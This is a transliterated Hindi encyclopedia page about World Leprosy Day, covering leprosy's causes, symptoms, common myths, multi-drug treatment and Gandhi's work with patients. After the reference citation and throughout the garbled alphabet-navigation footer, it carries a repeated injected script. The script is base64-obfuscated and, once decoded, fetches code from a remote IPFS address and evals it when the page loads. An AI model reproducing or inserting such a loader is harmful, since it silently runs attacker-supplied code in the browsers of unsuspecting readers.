विश्व कुष्ठ रोग दिवस

	vishv kushth rog divas
	vishv kushth rog divas\|200px\|center
vivaran	bharat mean pratyek varsh mahatma gaandhi ki puny tithi ko 'vishv kushth rog divas' manaya jata hai. is din ko phraansisi manaviy raul pholero ne gaandhiji ko shraddhaanjali dene ke lie chuna tha, jinhoanne kushth rogo se pi dit logoan ki sahayata ki thi.
tithi	30 janavari
shuruat	1954
vishesh	daiviy prakop, anaitik acharan, ashuddh rakt, poorv janm ke pap karmoan se kushth rog ka hona keval bhratiyaan haian. inaki taraph logoan ko dhyan nahian dena chahie.
any janakari	tvacha par ghav hona kushth rog ke prathamik bahy sanket haian. yadi isaka upachar n kiya jae to kushth rog poore sharir mean phail sakata hai jisase sharir ki tvacha, nasoan, hath-pairoan aur aankhoan sahit sharir ke kee bhagoan mean sthayi kshati ho sakati hai.

kushth rog

kodh ko hi kushth rog kaha jata hai, jo ki ek jivanu rog hai. yah ek dirghakalik rog hai, jo ki maikobaiktiriam lepraee aur maikobaikteriyam lepromet aausis jaise jivanuoan ki vajah se hota hai. kushth rog ke roganu ki khoj 1873 mean hansen ne ki thi, isalie kushth rog ko 'hansen rog' bhi kaha jata hai. is rog ka jikr bharatiy granthoan mean kiya gaya hai. bharatiy granthoan ke anusar 600 eesa poorv is rog ka ullekh kiya gaya hai. yah rog mukhy roop se manav tvacha, oopari shvasan path ki shleshmika, paridhiy tantrikaoan, aankhoan aur sharir ke kuchh any bhagoan ko prabhavit karata hai. kuchh log kushth rog ko vanshanugat ya daiviy prakop manate hai, lekin yah rog n to vanshanugat hai aur n hi daiviy prakop hai, balki yah rog jivanu dvara hota hai.^[1]

mahatma gaandhi ka yogadan

yah rog bharat sahit sanpoorn vishv ke pichh de hue deshoan ke lie ek aisi samasya hai, jo ki lakhoan logoan ko divyaang bana deta hai, lekin pashchimi deshoan mean is rog ka prabhav n ke barabar hai. bharat desh mean bhi is rog par kaphi niyantran kiya ja chuka hai. jin kushth rogiyoan ko samaj dhikkarata hai, un kushth rog se pi dit vyaktiyoan se mahatma gaandhi kaphi sneh aur sahanubhooti rakhate the, kyoanki ve janate the ki is rog ke kya samajik ayam haian. isalie rashtrapita mahatma gaandhi ne apane jivan mean kushth rog se pi dit logoan ki kaphi seva ki aur kushth rogiyoan ko samaj ki mukhyadhara se jo dane ke lie kaphi prayas kie.

kaha jae to rashtrapita mahatma gaandhi ke prayasoan ki vajah se hi bharat sahit kee deshoan mean ab kushth rogiyoan ko samajik bahishkar ka samana nahian karana p data. ab samaj ka adhikatar tabaka samajh gaya hai ki kushth rog koee daiviy apada nahian balki ek bimari hai, jo ki kisi ko bhi ho sakati hai aur isaka ilaj sanbhav hai. rashtrapita mahatma gaandhi dvara kushth rogiyoan ko samaj ki mukhy dhara mean jo dane ke prayasoan ki vajah se hi har varsh 30 janavari unaki punyatithi ko 'kushth rog nivaran divas' ke roop mean manaya jata hai.

sanket v lakshan

tvacha par ghav hona kushth rog ke prathamik bahy sanket haian. yadi isaka upachar n kiya jae to kushth rog poore sharir mean phail sakata hai jisase sharir ki tvacha, nasoan, hath-pairoan aur aankhoan sahit sharir ke kee bhagoan mean sthayi kshati ho sakati hai. is rog se tvacha ke rang aur svaroop mean parivartan dikhaee dene lagata hai. kushth rog mean tvacha par rangahin dag ho jate haian jin par kisi bhi chubhan ka rogi ko koee asar nahian hota. is rog ke karan sharir ke kee bhag sunn bhi ho jate haian.^[1]

kushth rog sambandhit bhratiyaan

kuchh log manate haian ki haian ki kushth rog vanshanugat hota hai, lekin kushth rog vanshanugat nahian hai.
kuchh logoan ka manana hai ki kushth rog daiviy prakop, anaitik acharan, ashuddh rakt, poorv janm ke pap karmoan adi karanoan se hota hai, jabaki daiviy prakop, anaitik acharan, ashuddh rakt, poorv janm ke pap karmoan se kushth rog ka hona keval bhratiyaan haian inaki taraph logoan ko dhyan nahian dena chahie.
kuchh logoan ka vishvas hai ki kushth rog keval sparsh matr se ho jata hai, lekin yah bhi kushth rog ke bare mean bahut b di bhraanti hai.
kuchh log manate haian ki kushth rog atyant sankramanashil hai, lekin yah bhi kushth rog ke bare mean phaila hua bhram hai balki kushth rog ke oopar kie ge anusandhanoan mean paya gaya hai ki 80 pratishat logoan mean kushth rog asankramak hota hai, shesh 20 pratishat kushth pi ditoan ka ilaj sahi samay se ho jae to kushth rog kuchh hi dinoan mean asankramak ho jata hai.
kuchh log samajhate haian ki kushth rog lailaj hai, lekin is rog ke sanbandh mean logoan mean yah galat dharana hai. aj kushth rog ka ilaj sanbhav hai. yadi lakshan dikhate hi kushth rog ka upachar shuroo kar diya jae to is rog se mukt hona nishchit hai.
kuchh log manate haian ki jin parivaroan mean kushth rogi haian, us parivar ke bachchoan ko kushth rog hoga hi. lekin yah bhi kushth rog ke bare mean phaili huee sabase b di bhraanti hai, kyoanki anusandhanoan se siddh ho chuka hai ki yah bimari vanshanugat nahian hai aur isake adhikatar mamale asankramak hote haian.

upachar

aj adhunik chikitsa pranali ne itani tarakki kar li hai ki kushth rog ka ilaj kee varsh poorv hi sanbhav ho gaya tha. aj ke samay mean is rog ki malti drag thairepi upalabdh hai. agar sahi ilaj kiya jae to rogi nishchit hi kushth rog se mukt hokar ek samany jiandagi ji sakata hai. vartaman samay mean kushth rog ka ilaj 2 prakar se ho raha hai. p aausi-baisilari kushth rog (tvacha par 1-5 ghav ka hona) ka upachar 6 mah tak raiphaimpisin aur daipson se kiya jata hai balki malti-baisilari kushth rog (tvacha par 5 se jyada ghav ka hona) ka upachar 12 mah tak raiphaipisin, kl aauphaijimain aur daipson se kiya jata hai. sarakari aspatal dvara rihaishi ilakoan mean maujood svasthy keandroan mean kushth rog ka ni:shulk ilaj upalabdh hai. bharat mean rashtriy jalama kushth evan any maikobaiktiriyal rog sansthan ka kushth rog ke kshetr mean aham yogadan hai.^[1]

rokatham

malti drag thairepi ne kushth rog ki rokatham ke lie aham bhoomika nibhaee hai, agar rogi ka samay rahate pata lag jae to usaka poora ilaj karana chahie aur bich mean ilaj ko chho dana nahian chahie. agar rogiyoan ka samay rahate ilaj hoga to kuchh namamatr ke sankramak mamaloan mean kuchh dinoan mee hi kami a jaegi, kyoanki kushth rog ke sankramak rogi ka ilaj shuroo hote hi kuchh dinoan mean usaki sankramakata khatm ho jati hai, vaise kushth rog ke adhikatar mamale asankramak hi hote haian.
bisiji ka tika lagane se bhi kushth rog se suraksha prapt hoti hai.
kushth rog se ju di hueean bhraantiyoan par logoan ko dhyan nahian dena chahie tatha marijoan aur logoan ko isake karanoan ke bare mean shikshit karana chahie.

'kushth rog nivaran divas' par mahatma gaandhi dvara apane jivanakal mean kushth rogiyoan ko samaj ki mukhy dhara se jo dane ke kie ge prayasoan se sikh lekar pratyek nagarik ko kushth rog, usake upachar, dekhabhal aur usake rogiyoan ke punarvas ke bare mean jagriti phailane ke lie harasanbhav prayas karana chahie aur aj sabase jyada jaroorat kushth rog pi ditoan ko samaj ki mukhy dhara se jo dane ki hai. bharat ke pratyek nagarik ko bharat ko kushth rog se mukt karane ke lakshy mean sakriy roop se apani bhagidari nibhani chahie jisase ki jald se jald bharat ko kushth rog mukt kiya ja sake.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ^1.3 gaandhiji ki punyatithi par kyoan manaya jata hai 'kushth rog nivaran divas' janie (hiandi) webdunia.com. abhigaman tithi: 27 navanbar, 2021.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[pp-1] 1.0 ^1.1 ^1.2 ^1.3 gaandhiji ki punyatithi par kyoan manaya jata hai 'kushth rog nivaran divas' janie (hiandi) webdunia.com. abhigaman tithi: 27 navanbar, 2021.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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